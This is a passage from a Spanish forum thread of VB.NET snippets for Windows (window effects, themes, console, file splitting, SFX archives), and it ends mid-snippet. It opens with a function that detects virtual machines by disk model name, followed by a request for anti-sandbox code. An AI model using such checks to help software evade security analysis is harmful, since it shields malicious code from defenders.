' MsgBox(Detect_Virtual_Machine)
' If Detect_Virtual_Machine() Then MsgBox("This program cannot run on a virtual machine")
Imports System.Management
Private Function Detect_Virtual_Machine() As Boolean
Dim ModelName As String = Nothing
Dim SearchQuery = New ManagementObjectSearcher("SELECT * FROM Win32_DiskDrive WHERE BytesPerSector > 0")
For Each ManagementSystem In SearchQuery.Get
ModelName = ManagementSystem("Model").ToString.Split(" ").First.ToLower
If ModelName = "virtual" Or _
ModelName = "vmware" Or _
ModelName = "vbox" Or _
ModelName = "qemu" _
Then
Return True ' Virtual machine HDD Model Name found
End If
Next
Return False ' Virtual machine HDD Model Name not found
End Function
#End Region
A ver si alguien se anima y hace un snippet Anti-Sandbox, que según he leido es bien fácil: http://www.aspfree.com/c/a/braindump/virtualization-and-sandbox-detection/ pero por desgracia hay demasiados software virtualizadores para ponerse a probar uno por uno para hacer una función genérica...
PD: ¿A nadie le interesa aportar snippets aquí? :(
Saludos!
· Animar la ventana con efectos
#Region " Animate Window "
' [ Animate Window ]
'
' // By Elektro H@cker
'
' Examples :
' AnimateWindow(Me.Handle, 1500, Animation.Show_Fade)
' AnimateWindow(Me.Handle, 1500, Animation.Hide_Center)
Public Declare Function AnimateWindow Lib "user32" (ByVal hwnd As IntPtr, ByVal dwtime As Int64, ByVal dwflags As Animation) As Boolean
Public Enum Animation As Int32
Show_Left_To_Right = 1
Show_Right_To_left = 2
Show_Top_To_Bottom = 4
Show_Bottom_to_top = 8
Show_Corner_Left_UP = 5
Show_Corner_Left_Down = 9
Show_Corner_Right_UP = 6
Show_Corner_Right_Down = 10
Show_Center = 16
Show_Fade = 524288
Hide_Left_To_Right = 1 Or 65536
Hide_Right_To_left = 2 Or 65536
Hide_Top_To_Bottom = 4 Or 65536
Hide_Bottom_to_top = 8 Or 65536
Hide_Corner_Left_UP = 5 Or 65536
Hide_Corner_Left_Down = 9 Or 65536
Hide_Corner_Right_UP = 6 Or 65536
Hide_Corner_Right_Down = 10 Or 65536
Hide_Center = 16 Or 65536
Hide_Fade = 524288 Or 65536
End Enum
#End Region
· Ejemplo de un String multi-línea para aplicaciones de consola:
Dim Logo As String = <a><![CDATA[
___ _ _ _ _ _____ _ _ _
/ _ \ | (_) | | (_) |_ _(_) | | |
/ /_\ \_ __ _ __ | |_ ___ __ _| |_ _ ___ _ __ | | _| |_| | ___
| _ | '_ \| '_ \| | |/ __/ _` | __| |/ _ \| '_ \ | | | | __| |/ _ \
| | | | |_) | |_) | | | (_| (_| | |_| | (_) | | | | | | | | |_| | __/
\_| |_/ .__/| .__/|_|_|\___\__,_|\__|_|\___/|_| |_| \_/ |_|\__|_|\___|
| | | |
|_| |_|
]]></a>.Value
Console.WriteLine(Logo)
(http://img191.imageshack.us/img191/259/captura1y.png)
· Setear los argumentos commandline por defecto del modo debug de la aplicación.
#Region " Set CommandLine Arguments "
' [ Set CommandLine Arguments Function ]
'
' // By Elektro H@cker
'
' Examples:
' For Each Arg In Arguments : MsgBox(Arg) : Next
Dim Arguments As List(Of String) = Set_CommandLine_Arguments()
Public Function Set_CommandLine_Arguments() As List(Of String)
#If DEBUG Then
' Debug Commandline arguments for this application:
Dim DebugArguments = "Notepad.exe -Sleep 5 -Interval 50 -Key CTRL+C"
Return DebugArguments.Split(" ").ToList
#Else
' Nomal Commandline arguments
Return My.Application.CommandLineArgs.ToList
#End If
End Function
#End Region
(http://img266.imageshack.us/img266/4114/prtscrcapture2j.jpg)
· Un Sub especial para el control de terceros "CButton", para modificar los colores (Y actualizar el estado de los colores).
http://www.codeproject.com/Articles/26622/Custom-Button-Control-with-Gradient-Colors-and-Ext
#Region " Change Cbutton Color "
' [ Change Cbutton Color ]
'
' // By Elektro H@cker
'
' Examples:
' Change_Cbutton_Color(CButton1, Color.Black, Color.DarkRed, Color.Red)
Private Sub Change_Cbutton_Color(ByVal Button_Name As CButtonLib.CButton, _
ByVal Color1 As Color, _
ByVal Color2 As Color, _
ByVal Color3 As Color)
Button_Name.ColorFillBlend.iColor(0) = Color1
Button_Name.ColorFillBlend.iColor(1) = Color2
Button_Name.ColorFillBlend.iColor(2) = Color3
Button_Name.UpdateDimBlends()
End Sub
#End Region
· comprueba si Aero está activado:
#Region " Is Aero Enabled? "
' [ Is Aero Enabled? Function ]
'
' Examples:
' MsgBox(Is_Aero_Enabled)
<System.Runtime.InteropServices.DllImport("dwmapi.dll")> _
Private Shared Function DwmIsCompositionEnabled(ByRef enabled As Boolean) As Integer
End Function
Public Function Is_Aero_Enabled() As Boolean
If Environment.OSVersion.Version.Major < 6 Then
Return False ' Windows version is under Windows Vista so not Aero.
Else
DwmIsCompositionEnabled(Is_Aero_Enabled)
End If
End Function
#End Region
· Usar un proxy en el WebBrowser:
#Region " Use Proxy "
' [ Use Proxy ]
'
' Examples :
' Use_Proxy("213.181.73.145:80")
' WebBrowser1.Navigate("http://www.ipchicken.com/")
<Runtime.InteropServices.DllImport("wininet.dll", SetLastError:=True)> _
Private Shared Function InternetSetOption(ByVal hInternet As IntPtr, ByVal dwOption As Integer, ByVal lpBuffer As IntPtr, ByVal lpdwBufferLength As Integer) As Boolean
End Function
Public Structure Struct_INTERNET_PROXY_INFO
Public dwAccessType As Integer
Public proxy As IntPtr
Public proxyBypass As IntPtr
End Structure
Private Sub Use_Proxy(ByVal strProxy As String)
Const INTERNET_OPTION_PROXY As Integer = 38
Const INTERNET_OPEN_TYPE_PROXY As Integer = 3
Dim struct_IPI As Struct_INTERNET_PROXY_INFO
struct_IPI.dwAccessType = INTERNET_OPEN_TYPE_PROXY
struct_IPI.proxy = Marshal.StringToHGlobalAnsi(strProxy)
struct_IPI.proxyBypass = Marshal.StringToHGlobalAnsi("local")
Dim intptrStruct As IntPtr = Marshal.AllocCoTaskMem(Marshal.SizeOf(struct_IPI))
Marshal.StructureToPtr(struct_IPI, intptrStruct, True)
Dim iReturn As Boolean = InternetSetOption(IntPtr.Zero, INTERNET_OPTION_PROXY, intptrStruct, System.Runtime.InteropServices.Marshal.SizeOf(struct_IPI))
End Sub
#End Region
[ListView] Restrict column resizing
Restringe cambiar de tamaño una columna.
' [ListView] Restrict column resizing
Private Sub ListView1_ColumnWidthChanging(sender As Object, e As ColumnWidthChangingEventArgs) Handles ListView1.ColumnWidthChanging
e.Cancel = True
e.NewWidth = sender.Columns(e.ColumnIndex).Width
End Sub
Get Non-Client Area Width
Devuelve el tamaño del borde del área NO cliente de la aplicación.
#Region " Get Non-Client Area Width "
' [ Get Non-Client Area Width Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Get_NonClientArea_Width(Form1))
' Me.Location = New Point((Form1.Location.X + (Form1.Width + Get_NonClientArea_Width(Form1))), Form1.Location.Y)
Private Function Get_NonClientArea_Width(ByVal Form As Form) As Int32
Return (Form.Width - Form.ClientSize.Width)
End Function
#End Region
Extend Non Client Area
Extiende el área NO cliente al área cliente de la aplicación
#Region " Extend Non Client Area "
' [ Extend Non Client Area Function ]
'
' // By Elektro H@cker
'
' Examples :
' Extend_Non_Client_Area(Me.Handle, 50, 50, -0, 20)
' MsgBox(Extend_Non_Client_Area(12345, -1, -1, -1, -1))
<System.Runtime.InteropServices.DllImport("dwmapi.dll")> _
Private Shared Function DwmExtendFrameIntoClientArea(ByVal handle As IntPtr, ByRef Margins As MARGINS) As Integer
End Function
<System.Runtime.InteropServices.StructLayout(System.Runtime.InteropServices.LayoutKind.Sequential)> _
Public Structure MARGINS
Public Left As Integer
Public Right As Integer
Public Up As Integer
Public Down As Integer
End Structure
Private Function Extend_Non_Client_Area(ByVal Window_Handle As IntPtr, _
ByVal Left As Int32, _
ByVal Right As Int32, _
ByVal Up As Int32, _
ByVal Down As Int32) As Boolean
Try
Dim Margins As New MARGINS()
Margins.Left = Left
Margins.Right = Right
Margins.Up = Up
Margins.Down = Down
DwmExtendFrameIntoClientArea(Window_Handle, Margins)
Return True
Catch ex As Exception
'Return false
Throw New Exception(ex.Message)
End Try
End Function
#End Region
If Debug conditional
#If Debug Then
#Else
#End If
If Debugger IsAttached conditional
Ejemplo de una condicional de ejecución en Debug
If Debugger.IsAttached Then
Else
End If
String Format
Ejemplo de un String Format
MsgBox(String.Format("{0}+{1} = {2}", "Uno", "Dos", "Tres"))
Get NT Version
Devuelve la versión NT de Windows
PD: He omitido Windows 3.51 para no complicar el código, pero a quien le importa eso, ¿No?
#Region " Get NT Version "
' [ Get NT Version Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Get_NT_Version())
' If Get_NT_Version() < 6.0 Then MsgBox("This application only works with an Aero compatible windows version")
Private Function Get_NT_Version() As Double
Dim NT As Double = CDbl(Val(System.Environment.OSVersion.Version.ToString.Substring(0, 3)))
' INFO:
' -----
' 3.1 = Windows NT 3.1
' 3.5 = Windows NT 3.5
' 4.0 = Windows NT 4.0
' 5.0 = Windows 2000
' 5.1 = Windows XP / Windows Fundamentals for Legacy PCs
' 5.2 = Windows XP 64 Bit / Windows server 2003 / Windows server 2003 R2 / Windows home Server
' 6.0 = Windows VISTA / Windows server 2008
' 6.1 = Windows 7 / Windows server 2008 R2
' 6.2 = Windows 8 / Windows 8 Phone / Windows Server 2012
Return NT
End Function
#End Region
Extract Icon
Devuelve el icono de un archivo
#Region " Extract Icon "
' [ Extract Icon Function ]
'
' // By Elektro H@cker
'
' Me.Icon = Extract_Icon("c:\windows\explorer.exe")
' Dim MyIcon as System.Drawing.Icon = Extract_Icon("c:\Test.txt")
Private Function Extract_Icon(ByVal File As String) As System.Drawing.Icon
If IO.File.Exists(File) Then
Try : Return System.Drawing.Icon.ExtractAssociatedIcon(File)
Catch ex As Exception
'MsgBox(ex.message)
Return Nothing
End Try
Else : Return Nothing
End If
End Function
#End Region
[OSVersionInfo] - Examples
Ejemplos de uso de OSVersionInfo
Se necesita esta class (o la dll): http://www.codeproject.com/Articles/73000/Getting-Operating-System-Version-Info-Even-for-Win
MsgBox(OSVersionInfo.Name)
MsgBox(OSVersionInfo.Edition)
MsgBox(OSVersionInfo.ServicePack)
MsgBox(OSVersionInfo.VersionString)
MsgBox(OSVersionInfo.BuildVersion)
MsgBox(OSVersionInfo.OSBits.ToString)
MsgBox(OSVersionInfo.ProcessorBits.ToString)
MsgBox(OSVersionInfo.ProgramBits.ToString)
Cambia el theme actual de Windows
Os aconsejo cambiar el theme de esta manera en lugar de usar la función SetWindowTheme porque dicha función no cambia el theme corréctamente (no cambia los colores personalizados).
#Region " Set Aero Theme "
' [ Set Aero Theme Function ]
'
' // By Elektro H@cker
'
' Instructions :
' Add a reference for "System.ServiceProcess"
'
' Set_Aero_Theme("C:\Windows\Resources\Themes\aero\aero.msstyles")
' Set_Aero_Theme("C:\Windows\Resources\Themes\Concave 7\Concave 7.msstyles")
' Set_Aero_Theme("C:\Windows\Resources\Themes\Aero\Luna.msstyles", "Metallic", "NormalSize")
Private Function Set_Aero_Theme(ByVal ThemeFile As String, _
Optional ByVal ColorName As String = "NormalColor", _
Optional ByVal SizeName As String = "NormalSize" _
) As Boolean
Try
Using ThemeService As New ServiceProcess.ServiceController("Themes")
ThemeService.Stop()
ThemeService.WaitForStatus(1) ' Wait for Stopped
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ThemeManager", "LoadedBefore", "0", Microsoft.Win32.RegistryValueKind.String)
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ThemeManager", "DllName", ThemeFile, Microsoft.Win32.RegistryValueKind.String)
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ThemeManager", "ColorName", ColorName, Microsoft.Win32.RegistryValueKind.String)
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ThemeManager", "SizeName", SizeName, Microsoft.Win32.RegistryValueKind.String)
ThemeService.Start()
ThemeService.WaitForStatus(4) ' Wait for Running
End Using
Catch ex As Exception
'MsgBox(ex.message)
Return False
End Try
Return True
End Function
#End Region
Devuelve información del theme actual
PD: Yo solo he creado la función.
#Region " Get Current Aero Theme "
' [ Get Current Aero Theme Function ]
'
' // By Elektro H@cker
'
' Examples:
' MsgBox(Get_Current_Aero_Theme(Theme_Info.Name))
' MsgBox(Get_Current_Aero_Theme(Theme_Info.FullPath))
Public Structure ThemeInfo
Private Declare Unicode Function GetCurrentThemeName _
Lib "uxtheme.dll" _
( _
ByVal pszThemeFileName As String, _
ByVal dwMaxNameChars As Int32, _
ByVal pszColorBuff As String, _
ByVal cchMaxColorChars As Int32, _
ByVal pszSizeBuff As String, _
ByVal cchMaxSizeChars As Int32 _
) As Int32
Private Const S_OK As Int32 = &H0
Private m_FileName As String
Private m_ColorSchemeName As String
Private m_SizeName As String
Public Property FileName() As String
Get
Return m_FileName
End Get
Set(ByVal Value As String)
m_FileName = Value
End Set
End Property
Public Property ColorSchemeName() As String
Get
Return m_ColorSchemeName
End Get
Set(ByVal Value As String)
m_ColorSchemeName = Value
End Set
End Property
Public Property SizeName() As String
Get
Return m_SizeName
End Get
Set(ByVal Value As String)
m_SizeName = Value
End Set
End Property
Public Overrides Function ToString() As String
Return _
"FileName={" & Me.FileName & _
"} ColorSchemeName={" & Me.ColorSchemeName & _
"} SizeName={" & Me.SizeName & "}"
End Function
Public Shared ReadOnly Property CurrentTheme() As ThemeInfo
Get
Dim ti As New ThemeInfo()
Const BufferLength As Int32 = 256
ti.FileName = Strings.Space(BufferLength)
ti.ColorSchemeName = ti.FileName
ti.SizeName = ti.FileName
If _
GetCurrentThemeName( _
ti.FileName, _
BufferLength, _
ti.ColorSchemeName, _
BufferLength, _
ti.SizeName, _
BufferLength _
) = S_OK _
Then
ti.FileName = NullTrim(ti.FileName)
ti.ColorSchemeName = NullTrim(ti.ColorSchemeName)
ti.SizeName = NullTrim(ti.SizeName)
Return ti
Else
Const Message As String = _
"An error occured when attempting to get theme info."
Throw New Exception(Message)
End If
End Get
End Property
Private Shared Function NullTrim(ByVal Text As String) As String
Return _
Strings.Left( _
Text, _
Strings.InStr(Text, ControlChars.NullChar) - 1 _
)
End Function
End Structure
Public Enum Theme_Info
Name
FileName
FullPath
ColorScheme
Size
End Enum
Private Function Get_Current_Aero_Theme(ByVal Info As Theme_Info) As String
Select Case Info
Case Theme_Info.Name : Return ThemeInfo.CurrentTheme.FileName.Split("\").Last.Split(".").First
Case Theme_Info.FileName : Return ThemeInfo.CurrentTheme.FileName.Split("\").Last
Case Theme_Info.FullPath : Return ThemeInfo.CurrentTheme.FileName
Case Theme_Info.ColorScheme : Return ThemeInfo.CurrentTheme.ColorSchemeName
Case Theme_Info.Size : Return ThemeInfo.CurrentTheme.SizeName
Case Else : Return Nothing
End Select
End Function
#End Region
Escribe texto a la CMD desde un proyecto Windowsforms
Declare Function AttachConsole Lib "kernel32.dll" (ByVal dwProcessId As Int32) As Boolean
Declare Function FreeConsole Lib "kernel32.dll" () As Boolean
AttachConsole(-1) ' Attach the console
System.Console.Writeline("I am writing from a WinForm to the console!")
FreeConsole() ' Desattach the console
Adjunta una nueva instancia de la CMD a la aplicación.
Public Declare Function AllocConsole Lib "kernel32.dll" () As Boolean
AllocConsole()
Console.WriteLine("this is my console!") : Threading.Thread.Sleep(5000)
Detecta si la aplicación se ejecutó desde la consola
Un ejemplo de uso? Pues por ejemplo el que yo le doy, si el usuario ejecuta la aplicación desde la consola entonces muestro una ayuda sobre la sintaxis y etc en la consola, de lo contrario obviamente no muestro nada.
#Region " App Is Launched From CMD? "
' [ App Is Launched From CMD? Function ]
'
' // By Elektro H@cker
'
' Examples:
' MsgBox(App_Is_Launched_From_CMD)
' If App_Is_Launched_From_CMD() Then Console.WriteLine("Help for this application: ...")
Declare Function AttachConsole Lib "kernel32.dll" (ByVal dwProcessId As Int32) As Boolean
Declare Function FreeConsole Lib "kernel32.dll" () As Boolean
Private Function App_Is_Launched_From_CMD() As Boolean
If AttachConsole(-1) Then
FreeConsole()
Return True
Else
Return False
End If
End Function
#End Region
Parte un archivo de texto en trozos especificando el tamaño.
PD: El code no es de mi propiedad pero lo he sacado de un código de C# y lo he retocado casi por completo para hacerlo más funcional, así que me doy los créditos.
#Region " Split File "
' [ Split File Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Split_File("C:\Test.txt", 10000, , True))
' MsgBox(Split_File("C:\Test.txt", 10000, "Splitted"))
Public Function Split_File(ByVal File As String, _
ByVal ChunkSize As Long, _
Optional ByVal OutputName As String = Nothing, _
Optional ByVal Preserve_FileExtension As Boolean = True _
) As Boolean
Dim Index As Long
Dim OutputFile As String
Dim BaseName As String
Dim StartPosition As Long
Dim Buffer As Byte() = New Byte() {}
Dim InputFileStram As System.IO.FileStream
Dim OutputFileStram As System.IO.FileStream
Dim BinaryWriter As IO.BinaryWriter
Dim BinaryReader As IO.BinaryReader
Dim Fragments As Long
Dim RemainingBytes As Long
Dim Progress As Double
Dim Zeroes As String = ""
Try
Dim FileInfo As New IO.FileInfo(File)
Dim Filename As String = FileInfo.FullName
Dim FileExtension As String = FileInfo.Extension
Dim outputpath As String = FileInfo.DirectoryName
Dim FileSize As Long = FileInfo.Length
If OutputName IsNot Nothing Then : BaseName = OutputName
Else : BaseName = FileInfo.Name.Replace(FileInfo.Extension, "") : End If
If Not IO.File.Exists(Filename) Then
MsgBox("File " & Filename & " doesn't exist")
Return False
End If
If FileSize <= ChunkSize Then
MsgBox(Filename & " size(" & FileSize & ") is less than the ChunkSize(" & ChunkSize & ")")
Return False
End If
InputFileStram = New IO.FileStream(Filename, IO.FileMode.Open)
BinaryReader = New IO.BinaryReader(InputFileStram)
Fragments = Math.Floor(FileSize / ChunkSize)
For n As Integer = 1 To Fragments.ToString.Length : Zeroes += "0" : Next
Progress = 100 / Fragments
RemainingBytes = FileSize - (Fragments * ChunkSize)
If outputpath = "" Then outputpath = IO.Directory.GetParent(Filename).ToString
If Not IO.Directory.Exists(outputpath) Then IO.Directory.CreateDirectory(outputpath)
BinaryReader.BaseStream.Seek(0, IO.SeekOrigin.Begin)
For Index = 1 To Fragments
If Preserve_FileExtension Then : OutputFile = outputpath & "\" & BaseName & "." & Format(Index, Zeroes) & FileExtension
Else : OutputFile = outputpath & "\" & BaseName & "." & Format(Index, Zeroes)
End If
ReDim Buffer(ChunkSize - 1)
BinaryReader.Read(Buffer, 0, ChunkSize)
StartPosition = BinaryReader.BaseStream.Seek(0, IO.SeekOrigin.Current)
If IO.File.Exists(OutputFile) Then IO.File.Delete(OutputFile)
OutputFileStram = New System.IO.FileStream(OutputFile, IO.FileMode.Create)
BinaryWriter = New IO.BinaryWriter(OutputFileStram)
BinaryWriter.Write(Buffer)
OutputFileStram.Flush()
BinaryWriter.Close()
OutputFileStram.Close()
Next
If RemainingBytes > 0 Then
If Preserve_FileExtension Then : OutputFile = outputpath & "\" & BaseName & "." & Format(Index, Zeroes) & FileExtension
Else : OutputFile = outputpath & "\" & BaseName & "." & Format(Index, Zeroes)
End If
ReDim Buffer(RemainingBytes - 1)
BinaryReader.Read(Buffer, 0, RemainingBytes)
If IO.File.Exists(OutputFile) Then IO.File.Delete(OutputFile)
OutputFileStram = New System.IO.FileStream(OutputFile, IO.FileMode.Create)
BinaryWriter = New IO.BinaryWriter(OutputFileStram)
BinaryWriter.Write(Buffer)
OutputFileStram.Flush()
BinaryWriter.Close()
OutputFileStram.Close()
End If
InputFileStram.Close()
BinaryReader.Close()
Return True
Catch ex As Exception
MsgBox(ex.Message)
Return False
Finally
BinaryWriter = Nothing
OutputFileStram = Nothing
BinaryReader = Nothing
InputFileStram = Nothing
End Try
End Function
#End Region
Parte un archivo de texto en trozos especificando el número de líneas por archivo.
#Region " Split TextFile By Number Of Lines "
' [ Split TextFile By Number Of Lines Function ]
'
' // By Elektro H@cker
'
' Examples :
' Split_TextFile_By_Number_Of_Lines("C:\Test.txt", 10000)
' MsgBox(Split_TextFile_By_Number_Of_Lines("C:\Test.txt", 10))
Private Function Split_TextFile_By_Number_Of_Lines(ByVal TextFile As String, ByVal NumberOfLines As Long) As Boolean
Try
Dim FileInfo As New IO.FileInfo(TextFile)
If NumberOfLines > IO.File.ReadAllLines(TextFile).Length Then
' MsgBox("Number of lines is greater than total file lines")
Return False
End If
Using sr As New System.IO.StreamReader(TextFile)
Dim fileNumber As Integer = 0
While Not sr.EndOfStream
Dim count As Integer = 0
Using sw As New System.IO.StreamWriter(FileInfo.DirectoryName & "\" & FileInfo.Name.Replace(FileInfo.Extension, " " & System.Threading.Interlocked.Increment(fileNumber) & FileInfo.Extension))
sw.AutoFlush = True
While Not sr.EndOfStream AndAlso Not System.Threading.Interlocked.Increment(count) > NumberOfLines
Application.DoEvents()
sw.WriteLine(sr.ReadLine())
End While
End Using
End While
End Using
Return True
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Function
#End Region
Comprueba si es la primera ejecuciónd e la aplicación.
PD: La condicional no está mal, es para permitir cambiar manuálmente el valor de la clave a "True" para testear y esas cosas.
CORREGIDO
#Region " Is First Run? "
' [ Is First Run? Function ]
'
' // By Elektro H@cker
'
' Examples:
' MsgBox(Is_First_Run)
' If Is_First_Run() Then...
Private Function Is_First_Run() As Boolean
Dim RegRoot As Microsoft.Win32.RegistryKey = Registry.CurrentUser
Dim RegKey As String = "Software\MyApplicationName"
Dim RegValue As String = "First Run"
Dim FirstRun As Boolean
RegRoot.CreateSubKey(RegKey)
RegRoot.Close()
Try : FirstRun = Convert.ToBoolean(My.Computer.Registry.GetValue(RegRoot.ToString & "\" & RegKey, RegValue, Microsoft.Win32.RegistryValueKind.String))
Catch : FirstRun = True
End Try
If FirstRun Then
My.Computer.Registry.SetValue(RegRoot.ToString & "\" & RegKey, RegValue, "False", Microsoft.Win32.RegistryValueKind.String)
Return True
Else
Return False
End If
End Function
#End region
Elimina el contenido del portapapeles
Private Sub Delete_Clipboard()
Clipboard.SetText(vbCr)
End Sub
Añade un texto de ayuda (una "pista") a un control.
Ya posteé la manera de hacer esto usando API pero prefiero esta forma para tener control sobre el "forecolor" del teXto.
#Region " Set Control Hint "
' //By Elektro H@cker
Dim TextBox_Hint As String = "Type your RegEx here..."
' TextBox1 [Enter/Leave]
Private Sub TextBox1_Hint(sender As Object, e As EventArgs) Handles _
TextBox1.Enter, _
TextBox1.Leave
If sender.Text = TextBox_Hint Then : sender.text = ""
ElseIf sender.Text = "" Then : sender.text = TextBox_Hint
End If
End Sub
#End Region
Elimina el contenido del portapapeles:
Private Sub Delete_Clipboard()
Clipboard.SetText(vbCr)
End Sub
Devuelve el color de un pixel en varios formatos:
CORREGIDO, si el valor era 0, el formato Hexadecimal devolvía un 0 de menos.
#Region " Get Pixel Color "
' [ Get Pixel Color Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' Dim RGB As Color = Get_Pixel_Color(MousePosition.X, MousePosition.Y, ColorType.RGB)
' MsgBox(Get_Pixel_Color(100, 100, ColorType.RGB).ToString)
' MsgBox(Get_Pixel_Color(100, 100, ColorType.HEX))
' MsgBox(Get_Pixel_Color(100, 100, ColorType.HTML))
<System.Runtime.InteropServices.DllImport("user32.dll")> Shared Function GetDC(hwnd As IntPtr) As IntPtr
End Function
<System.Runtime.InteropServices.DllImport("user32.dll")> Shared Function ReleaseDC(hwnd As IntPtr, hdc As IntPtr) As Int32
End Function
<System.Runtime.InteropServices.DllImport("gdi32.dll")> Shared Function GetPixel(hdc As IntPtr, nXPos As Integer, nYPos As Integer) As UInteger
End Function
Public Enum ColorType
RGB
HEX
HTML
End Enum
Public Function Get_Pixel_Color(ByVal x As Int32, ByVal y As Int32, ByVal ColorType As ColorType)
Dim hdc As IntPtr = GetDC(IntPtr.Zero)
Dim pixel As UInteger = GetPixel(hdc, x, y)
ReleaseDC(IntPtr.Zero, hdc)
Dim RGB As Color = Color.FromArgb(CType((pixel And &HFF), Integer), CType((pixel And &HFF00), Integer) >> 8, CType((pixel And &HFF0000), Integer) >> 16)
Dim R As Int16 = RGB.R, G As Int16 = RGB.G, B As Int16 = RGB.B
Dim HEX_R As String, HEX_G As String, HEX_B As String
Select Case ColorType
Case ColorType.RGB : Return RGB
Case ColorType.HEX
If Hex(R) = Hex(0) Then HEX_R = "00" Else HEX_R = Hex(R)
If Hex(G) = Hex(0) Then HEX_G = "00" Else HEX_G = Hex(G)
If Hex(B) = Hex(0) Then HEX_B = "00" Else HEX_B = Hex(B)
Return (HEX_R & HEX_G & HEX_B)
Case ColorType.HTML : Return ColorTranslator.ToHtml(RGB)
Case Else : Return Nothing
End Select
End Function
#End Region
Crear un archivo comprimido autoextraible (SFX) con la librería SevenZipSharp:
#Region " SevenZipSharp Compress SFX "
' [ SevenZipSharp Compress SFX Function ]
'
' // By Elektro H@cker
'
' Instructions :
' 1. Add a reference to "SevenZipSharp.dll".
' 2. Add the "7z.dll" or "7z64.dll" files to the project.
' 3. Add the "7z.sfx" and "7zCon.sfx" files to the project.
' 4. Use the code below.
'
' Examples :
' SevenZipSharp_Compress_SFX("C:\File.txt") ' File will be compressed in the same dir.
' SevenZipSharp_Compress_SFX("C:\File.txt", "C:\Compressed\File.exe") ' File will be compressed in "C:\Compressed\".
' SevenZipSharp_Compress_SFX("C:\Folder\", , , , , , , "Password") ' Folder will be compressed with the given password.
' SevenZipSharp_Compress_SFX("C:\File.txt", , SevenZipSharp_SFX_Module.Console, CompressionLevel.Fast)
' Imports SevenZip
' Dim dll As String = "7z.dll"
Public Enum SevenZipSharp_SFX_Module
Normal
Console
End Enum
Private Function SevenZipSharp_Compress_SFX(ByVal Input_DirOrFile As String, _
Optional ByVal OutputFileName As String = Nothing, _
Optional ByVal SFX_Module As SevenZipSharp_SFX_Module = SevenZipSharp_SFX_Module.Normal, _
Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Normal, _
Optional ByVal Password As String = Nothing) As Boolean
' Create the .7z file
Try
' Set library path
SevenZipCompressor.SetLibraryPath(dll)
' Create compressor
Dim Compressor As SevenZipCompressor = New SevenZipCompressor()
' Set compression parameters
Compressor.CompressionLevel = CompressionLevel ' Archiving compression level.
Compressor.CompressionMethod = CompressionMethod.Lzma ' Compression Method
Compressor.ArchiveFormat = OutArchiveFormat.SevenZip ' Compression file format
Compressor.CompressionMode = CompressionMode.Create ' Append files to compressed file or overwrite the compressed file.
Compressor.DirectoryStructure = True ' Preserve the directory structure.
Compressor.IncludeEmptyDirectories = True ' Include empty directories to archives.
Compressor.ScanOnlyWritable = False ' Compress files only open for writing.
Compressor.EncryptHeaders = False ' Encrypt 7-Zip archive headers
Compressor.TempFolderPath = System.IO.Path.GetTempPath() ' Temporary folder path
Compressor.FastCompression = False ' Compress as fast as possible, without calling events.
Compressor.PreserveDirectoryRoot = True ' Preserve the directory root for CompressDirectory.
Compressor.ZipEncryptionMethod = ZipEncryptionMethod.ZipCrypto ' Encryption method for zip archives.
Compressor.DefaultItemName = "File.7z" ' Item name used when an item to be compressed has no name, for example, when you compress a MemoryStream instance
' Add Progress Handler
' AddHandler Compressor.Compressing, AddressOf SevenZipSharp_Compress_Progress
' Removes the end slash ("\") if given for a directory
If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1)
' Generate the OutputFileName if any is given.
If OutputFileName Is Nothing Then
OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & ".tmp").Replace("\\", "\")
Else
OutputFileName = OutputFileName & ".tmp"
End If
' Check if given argument is Dir or File ...then start the compression
If IO.Directory.Exists(Input_DirOrFile) Then ' Is a Dir
If Not Password Is Nothing Then
Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True, Password)
Else
Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True)
End If
ElseIf IO.File.Exists(Input_DirOrFile) Then ' Is a File
If Not Password Is Nothing Then
Compressor.CompressFilesEncrypted(OutputFileName, Password, Input_DirOrFile)
Else
Compressor.CompressFiles(OutputFileName, Input_DirOrFile)
End If
End If
' Create the SFX file
' Create the SFX compressor
Dim compressorSFX As SevenZipSfx = New SevenZipSfx(SfxModule.Default)
' Set SFX Module path
If SFX_Module = SevenZipSharp_SFX_Module.Normal Then
compressorSFX.ModuleFileName = ".\7z.sfx"
ElseIf SFX_Module = SevenZipSharp_SFX_Module.Console Then
compressorSFX.ModuleFileName = ".\7zCon.sfx"
End If
' Start the compression
' Generate the OutputFileName if any is given.
Dim SFXOutputFileName As String
If OutputFileName.ToLower.EndsWith(".exe.tmp") Then
SFXOutputFileName = OutputFileName.Substring(0, OutputFileName.Length - 4)
Else
SFXOutputFileName = OutputFileName.Substring(0, OutputFileName.Length - 4) & ".exe"
End If
compressorSFX.MakeSfx(OutputFileName, SFXOutputFileName)
' Delete the 7z tmp file
Try : IO.File.Delete(OutputFileName) : Catch : End Try
Catch ex As Exception
'Return False ' File not compressed
Throw New Exception(ex.Message)
End Try
Return True ' File compressed
End Function
' Public Sub SevenZipSharp_Compress_SFX_Progress(ByVal sender As Object, ByVal e As ProgressEventArgs)
' MsgBox("Percent compressed: " & e.PercentDone)
' End Sub
#End Region
Un snippet para medir el tiempo transcurrido para un procedimiento o una función o cualquier cosa:
MEJORADO:
(http://img441.imageshack.us/img441/9899/captura1x.png)
#Region " Code Execution Time "
' [ Code Execution Time ]
'
' // By Elektro H@cker
'
' Examples :
' Execution_Start() : Threading.Thread.Sleep(500) : Execution_End()
Dim Execution_Watcher As New Stopwatch
Private Sub Execution_Start()
If Execution_Watcher.IsRunning Then Execution_Watcher.Restart()
Execution_Watcher.Start()
End Sub
Private Sub Execution_End()
If Execution_Watcher.IsRunning Then
